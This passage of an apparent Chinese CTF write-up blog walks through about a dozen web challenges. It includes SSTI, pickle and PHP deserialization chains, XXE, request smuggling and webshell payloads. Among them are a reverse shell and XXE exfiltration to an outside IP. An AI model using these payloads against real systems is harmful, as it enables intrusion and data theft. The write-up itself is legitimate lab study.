source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' ) def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy ' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ]) def consume_point_function (args ): point_to_consume = int (args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume def show_flag_function (args ): flag = args[0 ] return 'You naughty boy! ;) ' def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' ) if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
直接甩一手源码,我们的主要目的是让diamonds等于5,然后getflag 可是只有3points,正常来说只可以有3个diamons,因此这一题就和题目说的一样,需要loop,我们需要仔细关注一下逻辑 程序入口接受了我们get传入的参数,然后送进trigger_event函数,我们观察看看 这里其实就是进行一个日志处理,将我们的event放入session里的log属性,如果超过5个就只取最后五个,然后往request.event_queue
也加入event,最后进入execute_event_loop方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. ' resp += '<a href="./?action:view;index">Go back to index.html</a> ' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception as e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp
这个函数是对参数的主要处理,会判断传入的参数是否为a开头,如果为a开头调用的就是对应的hanler反之func,这里传入的是?action=xxx
因此肯定调用_handler,并且注意一下
1 2 action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' )
这两个分别是处理什么呢?如果我们传入我们的payload
1 action:trigger_event#;action:buy;5#action:get_flag;
action和args对应的就是上述结果,那我们首先调用trigger_event,这里为什么有个#呢,因为会加上_hanlder、_func
这种脏字符,我们的目的是调用trigger_event()
所以要注释掉,随后再retval那里调用的就是trigger_event(args)
,而args就是上述恶意构造的payload,这样的话随后又会执行buy_handler
,这里有关buy方法有个逻辑漏洞 不管你钱是不是够,都会先加上,如果不够就减去,那我们现在需要想办法让get_flag在consume_point_function
之前执行,而我们上面的恶意数组刚好就实现了这一点,因此会调用get_flag方法,此时由于逻辑漏洞,diamonds是5,所以会将flag输入session的log属性,最后解码得到flag 二次base64解码
[GWCTF 2019]你的名字 考点:简单的Python SSTI{%print((lipsum.__globals__["__\x62uiltins__"])["ev\x61l"]("__imp\x6frt__('\x6fs').p\x6fpen")('cat /f*').read())%}
virink_2019_files_share 考点:任意文件读取 我甚至不想记录
[NESTCTF 2019]Love Math 2 考点:异或RCE$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
在这(is_nan^(6).(4)).(tan^(1).(5));
表示_GET
;(is_nan^(6).(4))
表示_G
,后半部分是ET
字符串is_nan
和字符串64
异或得到的结果就是那样,所以可以绕过。
[RootersCTF2019]ImgXweb 考点:JWT伪造 我都懒得说了,妈的我以为是啥题目,看了一圈,robots.txt告诉你key 然后伪造就得到了flag 但是你给了个上传点我以为是啥东西,乌鱼子
[BSidesCF 2020]Hurdles 脑瘫题目,你不会说中文吗。。。
[羊城杯 2020]Easyphp2 考点:webshell里的su使用,session条件竞争 感觉这题放在当时应该是一道挺硬核的题目,只可惜今非昔比 敏感file,任意文件读取,发现没啥用,猜测后端用的是include,所以session条件竞争,webshell写进去了,然后蚁剑连接 找了半天发现flag,还有一个README文件: 解码过后发现就是GWHTCTF
,这应该是某个用户的密码,伪终端查看一手,发现flag.txt是没有权限的: 但是可以看到GWHT和root用户都有权限读取,然后结合前面的passwd,可以猜测是使用su指令切换用户读取,这里涉及到一个tips,就是webshell如何交互式输入passwd呢?这里我想到的是弹shell 结果证明可行
预期解 傻逼BUU靶场,我都不敢扫,诶也没办法,robots.txt有东西Disallow: /?file=check.php
然后用filter协议可以读取源码,这里设计一个tips,就是双重url编码可以绕过filter的黑名单检测,刚刚卡在这儿了/?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <meta http-equiv="X-UA-Compatible" content="ie=edge" > <title>count is here</title> <style> html, body { overflow: none; max-height: 100 vh; } </style> </head> <body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;" > <center><img src="question.jpg" height="200" width="200" /> </center> <?php ini_set ('max_execution_time' , 5 ); if ($_COOKIE ['pass' ] !== getenv ('PASS' )) { setcookie ('pass' , 'PASS' ); die ('<h2>' .'<hacker>' .'<h2>' .'<br>' .'<h1>' .'404' .'<h1>' .'<br>' .'Sorry, only people from GWHT are allowed to access this website.' .'23333' ); } ?> <h1>A Counter is here, but it has someting wrong</h1> <form> <input type="hidden" value="GWHT.php" name="file" > <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50 ></textarea> <input type="submit" > </form> <?php if (isset ($_GET ["count" ])) { $count = $_GET ["count" ]; if (preg_match ('/;|base64|rot13|base32|base16|<\?php|#/i' , $count )){ die ('hacker!' ); } echo "<h2>The Count is: " . exec ('printf \'' . $count . '\' | wc -c' ) . "</h2>" ; } ?> </body> </html>
同样读取check.php
1 2 3 4 5 6 <?php $pass = "GWHT" ;echo "Here is nothing, isn't it ?" ; header ('Location: /' );
然后改cookie的pass为GWHT 然后就可以执行exec指令,这里可以闭合语句达到写shellfile=GWHT.php&count='|echo+"<?=+eval(\$_POST['shell'])?>"+>+a.php'
然后就是上述流程了。 然后发现他们是用printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
直接执行。。。 贫穷限制了我的想象力
[watevrCTF-2019]Pickle Store 考点:pickle反序列化 挺迷惑的,看到是购买选项,以为要伪造JWT 但是看到了gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAYWZjNWVjYjU5OWEyMjJhN2ZjYmNmNTQzZjI1MzY4Y2VxB3Uu
这样的敏感cookie,简单的解密后是这样子 这个让我想起了pickle的格式,我就试着去解密了一下: 正好是pickle,随后就直接来了一手反弹shell
1 2 3 4 5 6 7 import pickleimport base64newp=b'''cos system (S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"' tR.''' print (base64.b64encode(newp))
[2020 新春红包题]1 考点:TP5反序列化写shell模型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 <?php error_reporting (0 );class A { protected $store ; protected $key ; protected $expire ; public function __construct ($store , $key = 'flysystem' , $expire = null ) { $this ->key = $key ; $this ->store = $store ; $this ->expire = $expire ; } public function cleanContents (array $contents ) { $cachedProperties = array_flip ([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object ) { if (is_array ($object )) { $contents [$path ] = array_intersect_key ($object , $cachedProperties ); } } return $contents ; } public function getForStorage ( ) { $cleaned = $this ->cleanContents ($this ->cache); return json_encode ([$cleaned , $this ->complete]); } public function save ( ) { $contents = $this ->getForStorage (); $this ->store->set ($this ->key, $contents , $this ->expire); } public function __destruct ( ) { if (!$this ->autosave) { $this ->save (); } } } class B { protected function getExpireTime ($expire ): int { return (int ) $expire ; } public function getCacheKey (string $name ): string { $cache_filename = $this ->options['prefix' ] . uniqid () . $name ; if (substr ($cache_filename , -strlen ('.php' )) === '.php' ) { die ('?' ); } return $cache_filename ; } protected function serialize ($data ): string { if (is_numeric ($data )) { return (string ) $data ; } $serialize = $this ->options['serialize' ]; return $serialize ($data ); } public function set ($name , $value , $expire = null ): bool { $this ->writeTimes++; if (is_null ($expire )) { $expire = $this ->options['expire' ]; } $expire = $this ->getExpireTime ($expire ); $filename = $this ->getCacheKey ($name ); $dir = dirname ($filename ); if (!is_dir ($dir )) { try { mkdir ($dir , 0755 , true ); } catch (\Exception $e ) { } } $data = $this ->serialize ($value ); if ($this ->options['data_compress' ] && function_exists ('gzcompress' )) { $data = gzcompress ($data , 3 ); } $data = "<?php\n//" . sprintf ('%012d' , $expire ) . "\n exit();?>\n" . $data ; $result = file_put_contents ($filename , $data ); if ($result ) { return $filename ; } return null ; } } if (isset ($_GET ['src' ])){ highlight_file (__FILE__ ); } $dir = "uploads/" ;if (!is_dir ($dir )){ mkdir ($dir ); } unserialize ($_GET ["data" ]);
这一题就是那个TP5反序列化写shell的模型,代码都没怎么变,具体可以参考ThinkPHP5.x反序列化漏洞全复现 然后赵总写的挺清楚的https://www.zhaoj.in/read-6397.html 放个预期解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class A { protected $store ; protected $key ; protected $expire ; public function __construct ($store , $key = 'flysystem' , $expire = null ) { $this ->key = $key ; $this ->store = $store ; $this ->expire = $expire ; } } class B { } $testB = new B ();$testB ->options['prefix' ] = 'abc' ;$testB ->options['serialize' ] = 'system' ;$testB ->options['data_compress' ] = false ;$testB ->options['expire' ] = "aaa\n" ;$testB ->writeTimes = 0 ;$testA = new A ($testB , "miao" );$testA ->autosave = false ;$testA ->cache = ['aaq' => '`cat /flag > ./flag.php`' ];$testA ->complete = true ;echo urlencode (serialize ($testA ))."\n" ;
非预期反而是上面说的thinkphp,感觉还行,由于最近吃了太多答辩不想调试着玩了
[网鼎杯 2020 青龙组]filejava 考点:xxe无回显外带、CVE-2014-3529 参考:https://blog.csdn.net/jxq0816/article/details/46775769 Apache-Poi-XXE-Analysis - 先知社区 https://blog.csdn.net/weixin_50464560/article/details/122814159 上传文件的时候改一下文件名,带/
就会报错,获取路径信息 接下来要做的就是任意文件读取了,这里是读取了web.xml文件 War包位置一般如下,读取之后可以得到主要class文件 我在这发现了个铭感的东西,这东西是用来处理excel表格的,随之就检索了一下看看会发生啥,是存在XXE注入的,但是没有回显,因此需要外带 首先准备POC,先在win上创建一个正常xlsx文件,然后拖到linux,改后缀为zip 然后直接unzip一手,会得到多个xml文件,我们需要修改的是[Content_Types].xml
文件,内容如下:
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://114.116.119.253:8000/poc.dtd" > %remote;%int;%send; ]> <Types xmlns ="http://schemas.openxmlformats.org/package/2006/content-types" > <Default ContentType ="application/vnd.openxmlformats-package.relationships+xml" Extension ="rels" /> <Default ContentType ="application/xml" Extension ="xml" /> <Override ContentType ="application/vnd.openxmlformats-officedocument.extended-properties+xml" PartName ="/docProps/app.xml" /> <Override ContentType ="application/vnd.openxmlformats-package.core-properties+xml" PartName ="/docProps/core.xml" /> <Override ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml" PartName ="/xl/sharedStrings.xml" /> <Override ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" PartName ="/xl/styles.xml" /> <Override ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" PartName ="/xl/workbook.xml" /> <Override ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" PartName ="/xl/worksheets/sheet1.xml" /> </Types >
然后dtd内容如下:
1 2 <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://114.116.119.253:8888?p=%file;'>" >
这是经典无回显外带的组合拳(注意一下转义特殊字符),flag位置在class文件中告诉了,就是根目录,由于过滤了不能直接读,XXE帮我们外带了。 成功获取flag
[安洵杯 2019]iamthinking 考点:TP6反序列化RCE 然后靶场也坏了。
[GYCTF2020]Node Game 考点:Node8走私攻击,Pug模板规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import urllib.parseimport requestspayload = ''' HTTP/1.1 Host: x Connection: keep-alive POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Length: {} cache-control: no-cache Host: 127.0.0.1 Connection: keep-alive {}''' body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Disposition: form-data; name="file"; filename="flag.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x ------WebKitFormBoundaryO9LPoNAg9lWRUItA-- ''' more=''' GET /anythingelse HTTP/1.1 Host: x Connection: close x:''' payload = payload.format (len (body)+10 ,body)+more payload = payload.replace("\n" , "\r\n" ) payload = '' .join(chr (int ('0xff' + hex (ord (c))[2 :].zfill(2 ), 16 )) for c in payload) print (payload)session = requests.Session() session.trust_env = False session.get('http://1e1f41d5-6909-4538-a4c1-be1020cc04a7.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
先放一个payload,这其实就是西湖论剑那个Node8走私,不做过多阐述,但是这个payload写的真好啊。。。 题目都没看就写了payload,题目如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 var express = require ('express' );var app = express ();var fs = require ('fs' );var path = require ('path' );var http = require ('http' );var pug = require ('pug' );var morgan = require ('morgan' );const multer = require ('multer' );app.use (multer ({dest : './dist' }).array ('file' )); app.use (morgan ('short' )); app.use ("/uploads" ,express.static (path.join (__dirname, '/uploads' ))) app.use ("/template" ,express.static (path.join (__dirname, '/template' ))) app.get ('/' , function (req, res ) { var action = req.query .action ?req.query .action :"index" ; if ( action.includes ("/" ) || action.includes ("\\" ) ){ res.send ("Errrrr, You have been Blocked" ); } file = path.join (__dirname + '/template/' + action +'.pug' ); var html = pug.renderFile (file); res.send (html); }); app.post ('/file_upload' , function (req, res ){ var ip = req.connection .remoteAddress ; var obj = { msg : '' , } if (!ip.includes ('127.0.0.1' )) { obj.msg ="only admin's ip can use it" res.send (JSON .stringify (obj)); return } fs.readFile (req.files [0 ].path , function (err, data ){ if (err){ obj.msg = 'upload failed' ; res.send (JSON .stringify (obj)); }else { var file_path = '/uploads/' + req.files [0 ].mimetype +"/" ; var file_name = req.files [0 ].originalname var dir_file = __dirname + file_path + file_name if (!fs.existsSync (__dirname + file_path)){ try { fs.mkdirSync (__dirname + file_path) } catch (error) { obj.msg = "file type error" ; res.send (JSON .stringify (obj)); return } } try { fs.writeFileSync (dir_file,data) obj = { msg : 'upload success' , filename : file_path + file_name } } catch (error) { obj.msg = 'upload failed' ; } res.send (JSON .stringify (obj)); } }) }) app.get ('/source' , function (req, res ) { res.sendFile (path.join (__dirname + '/template/source.txt' )); }); app.get ('/core' , function (req, res ) { var q = req.query .q ; var resp = "" ; if (q) { var url = 'http://localhost:8081/source?' + q console .log (url) var trigger = blacklist (url); if (trigger === true ) { res.send ("<p>error occurs!</p>" ); } else { try { http.get (url, function (resp ) { resp.setEncoding ('utf8' ); resp.on ('error' , function (err ) { if (err.code === "ECONNRESET" ) { console .log ("Timeout occurs" ); return ; } }); resp.on ('data' , function (chunk ) { try { resps = chunk.toString (); res.send (resps); }catch (e) { res.send (e.message ); } }).on ('error' , (e ) => { res.send (e.message );}); }); } catch (error) { console .log (error); } } } else { res.send ("search param 'q' missing!" ); } }) function blacklist (url ) { var evilwords = ["global" , "process" ,"mainModule" ,"require" ,"root" ,"child_process" ,"exec" ,"\"" ,"'" ,"!" ]; var arrayLen = evilwords.length ; for (var i = 0 ; i < arrayLen; i++) { const trigger = url.includes (evilwords[i]); if (trigger === true ) { return true } } } var server = app.listen (8081 , function ( ) { var host = server.address ().address var port = server.address ().port console .log ("Example app listening at http://%s:%s" , host, port) })
一个上传,一个SSRF的地方,SSRF的地方就是我们触发走私的点,通过这个点让服务端自己上传一个恶意pub文件,因为题目只允许localhost访问上传点 然后就是pub模板规则 这个搜一下随便看看就好,在里面变量的声明和yaml文件格式很像,如下
这样的话访问页面就会看到1,然后还有个小坑,就是假如你想执行命令,你是不可以
1 - return require ('child_process' ).execSync ('ls' )
不可以直接引用require,而是必须通过global.process的形式去加载child_process 原因的话可以参考: PUG模板渲染是在Function方法里,在这个方法里也是不可以直接require的
[HarekazeCTF2019]Easy Notes 考点:PHPsession伪造;代码审计 红框对应的2点分别是可控的文件名和可控的文件内容,文件名采用的就是登录的的用户名,文件内容就是我们定义的title,但是要注意是会有脏数据的 因为是压缩包的形式,所以需要考虑前后脏数据,现在的思路如下 我们可以往用户session文件写入半自定义的内容,PHPSESS默认的序列化机制是php默认引擎,当sess文件内容为admin|b:1;
时,就会判断为true 那么前后的脏数据咋办呢,我们可以通过类似闭合的手法来实现xxx|N;admin|b:1;xxx
一开始会把..
替换为空,本意是为了防止目录穿越,可是当type为.时,那么文件名我们就可以控制为sess_-xxxxx
的形式了 之后可以看到sess文件名字sess_-0290458e0c8555ed
,我们把PHPSESSID的值改为-0290458e0c8555ed
,即可获取flag!